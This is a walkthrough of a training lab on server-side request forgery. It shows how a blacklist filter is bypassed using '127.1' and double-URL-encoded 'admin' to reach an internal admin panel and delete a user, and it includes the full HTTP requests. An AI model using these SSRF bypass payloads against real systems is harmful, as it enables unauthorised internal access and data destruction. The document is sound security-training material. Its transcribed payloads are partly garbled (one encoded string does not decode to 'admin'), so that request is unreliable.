

SSRF with blacklist-based input filter

1. This lab has a stock check feature which fetches data from an internal system.
2. The developer has deployed two weak anti-SSRF defenses that you will need to bypass.
3. I intercepted the stock check request and sent it to repeater. Then, I modified the URL to <http://localhost/admin>. But the application responds with “External stock check blocked for security reasons”.

Request	Response
Pretty	Pretty
Raw	Raw
<pre>1 POST /product/stock HTTP/2 2 Host: 0ac300a20371d28180a04ec300ef00a8.web-security-academy.net 3 Cookie: session=0F1oMHBRnLRGgjHaFG1VoS2cbYS5cM17B 4 Content-Length: 41 5 Sec-Ch-Ua-Platform: "Windows" 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 7 Sec-Ch-Ua: "Google Chrome";v="141", "Not%4A_Brand";v="8", "Chromium";v="141" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-Ua-Mobile: ?0 10 Accept: /* 11 Origin: https://0ac300a20371d28180a04ec300ef00a8.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0ac300a20371d28180a04ec300ef00a8.web-security-academy.net/product?produ ctId=1 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 stockApi=http://localhost/admin&storeId=1 </pre>	<pre>1 HTTP/2 400 Bad Request 2 Content-Type: application/json; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 51 5 6 "External stock check blocked for security reasons"</pre>
Hex	Hex
Hackvertor	Render

4. From lab title and description, I noticed that the developer uses two weak anti-SSRF defenses and both are blacklist-based input filters. So, I thought that the filter is on “localhost” and “admin” words.
5. For localhost I changed it to “127.1” and encrypt admin with url encode and sent the request.

Request				Response			
Pretty	Raw	Hex	Hackvertor	Pretty	Raw	Hex	Render
1 POST /product/stock HTTP/2				1 HTTP/2 200 OK			
2 Host: 0ac300a20371d28180a04ec300ef00a8.web-security-academy.net				2 Content-Type: text/html; charset=utf-8			
3 Cookie: session=0FIokHENLRGgJHaFGlVoS2tbYS5cM17B				3 Cache-Control: no-cache			
4 Content-Length: 77				4 Set-Cookie: session=bwqAvgzB9oAm8gAqIYcAfq8E			
5 Sec-Ch-Ua-Platform: "Windows"				5 X-Frame-Options: SAMEORIGIN			
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36				6 Content-Length: 3074			
7 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"				7			
8 Content-Type: application/x-www-form-urlencoded				8 <!DOCTYPE html>			
9 Sec-Ch-Ua-Mobile: ?0				9 <html>			
10 Accept: */*				10 <head>			
11 Origin: https://0ac300a20371d28180a04ec300ef00a8.web-security-academy.net				11 <link href="/resources/labheader/css.css" type="text/css" rel="stylesheet">			
12 Sec-Fetch-Site: same-origin				12 <link href="/resources/css/labs.css" type="text/css" rel="stylesheet">			
13 Sec-Fetch-Mode: cors				13 <title>			
14 Sec-Fetch-Dest: empty				14 SSRF with blacklist-based input			
15 Referer:				15 </title>			
https://0ac300a20371d28180a04ec300ef00a8.web-security-academy.net/product?productId=1				16 </head>			
16 Accept-Encoding: gzip, deflate, br				17 <body>			
17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7				18 <script src="/resources/labheader/js.js" type="text/javascript">			
18 Priority: u=1, i				19 </script>			
19 stockApi=http://127.1%25%38%31%25%38%34%25%38%64%25%38%39%25%38%65&storeId=1				20 <div id="academyLabHeader">			
20				21 <section class="academyLabBar">			
				22 <div class="container">			
				23 <div class="logo">			
				24 </div>			
				25 </div>			

6. It's already valid request and I have access to admin panel.

7. I deleted carlos and lab solved.

Request	Response
Pretty	Pretty
Raw	Raw
Hex	Hex
Hackvertor	Render
1 POST /product/stock HTTP/2	1 HTTP/2 302 Found
Host: Oac300a20371d28180a04ec300ef00a8.web-security-academy.net	2 Location: /admin
3 Cookie: session=0F1okHeNLRGgJHaGIVoSzbYS5cM17B	3 Set-Cookie: session=4ehuf5j850YI
4 Content-Length: 100	4 X-Frame-Options: SAMEORIGIN
5 Sec-Ch-Ua-Platform: "Windows"	5 Content-Length: 0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36	6
7 Sec-Ch-Ua: "Google Chrome";v="141", "Not%4A_Brand";v="8", "Chromium";v="141"	7
8 Content-Type: application/x-www-form-urlencoded	
9 Sec-Ch-Ua-Mobile: ?0	
10 Accept: */*	
11 Origin: https://Oac300a20371d28180a04ec300ef00a8.web-security-academy.net	
12 Sec-Fetch-Site: same-origin	
13 Sec-Fetch-Mode: cors	
14 Sec-Fetch-Dest: empty	
15 Referer:	
https://Oac300a20371d28180a04ec300ef00a8.web-security-academy.net/product?productId=1	
16 Accept-Encoding: gzip, deflate, br	
17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7	
18 Priority: u=1, i	
19	
20 stockApi= http://127.1/%25%36%31%25%36%34%25%36%64%25%36%35%25%36%65/delete?username=carlos &storeId=1	

SSRF with blacklist-based input filter
[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills!   Continue learning 

Inflatable Dartboard



\$11.96